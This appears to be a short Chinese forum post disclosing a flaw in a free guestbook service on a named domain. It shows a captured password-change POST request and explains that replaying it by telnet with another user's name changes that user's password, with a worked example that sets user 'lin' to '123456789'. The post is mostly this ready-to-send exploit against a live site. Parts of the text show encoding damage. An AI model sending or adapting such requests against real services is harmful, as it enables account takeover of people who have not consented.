比如:
http://enkj.com/gbook/guestbook.asp?user=bingel
這個是我自己申請用來做測試的免費留言簿
我申請完之后進入修改一下密碼
用winsock expert 捕獲了如下數(shù)據(jù)
POST http://enkj.com/gbook/modifyok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword,
application/vnd.ms-powerpoint, application/vnd.ms-excel, */*

這上面一個是關(guān)鍵的東東.
有了這個東東你就可以修改任意用戶的密碼了
比如你要修改一個用戶名為lin的用戶的留言簿的密碼.只要
telnet enkj.com 80
然后發(fā)送post如下數(shù)據(jù)就可以了.
POST http://enkj.com/gbook/modifyok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword,
application/vnd.ms-powerpoint, application/vnd.ms-excel, */*

user=lin&pass=123456789&zhanzhang=bingel&kind=1&email=binghen@hotmail.comweb=fuck&url=http%3A%2F%2Fsafdafda.com&intro=
這樣就把用戶名為lin的用戶的密碼修改為123456789
其它的沒有必要多說,大家看看就知道是怎么回事了.這個漏洞也只是偶然發(fā)現(xiàn).沒有什么技術(shù)可言.只是給大家一個提醒.網(wǎng)絡(luò)上沒有絕對的安全.
